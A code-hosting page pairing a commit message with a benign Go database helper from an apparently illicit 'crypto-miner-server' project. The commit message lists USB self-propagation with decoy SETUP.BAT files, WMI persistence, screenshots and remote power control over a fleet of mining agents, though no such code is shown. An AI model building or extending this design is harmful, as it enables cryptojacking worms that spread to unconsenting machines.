- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
61 lines
1.6 KiB
Go
61 lines
1.6 KiB
Go
package db
|
|
|
|
import (
|
|
"encoding/json"
|
|
"log"
|
|
"strings"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
func decodeTags(raw string) []string {
|
|
raw = strings.TrimSpace(raw)
|
|
if raw == "" || raw == "[]" {
|
|
return []string{}
|
|
}
|
|
var tags []string
|
|
if err := json.Unmarshal([]byte(raw), &tags); err != nil {
|
|
log.Printf("[db] decodeTags: corrupt tags JSON ignored (%v): %q", err, raw)
|
|
return []string{}
|
|
}
|
|
return tags
|
|
}
|
|
|
|
func encodeTags(tags []string) string {
|
|
if len(tags) == 0 {
|
|
return "[]"
|
|
}
|
|
b, _ := json.Marshal(tags)
|
|
return string(b)
|
|
}
|
|
|
|
func (d *Database) scanAgent(row interface {
|
|
Scan(dest ...any) error
|
|
}) (*models.Agent, error) {
|
|
a := &models.Agent{}
|
|
var notes, tagsRaw string
|
|
err := row.Scan(
|
|
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
|
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
|
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
|
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
|
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
|
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
|
)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
a.Notes = notes
|
|
a.Tags = decodeTags(tagsRaw)
|
|
return a, nil
|
|
}
|
|
|
|
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
|
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
|
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
|
|
|
|
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
|
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
|
return err
|
|
}
|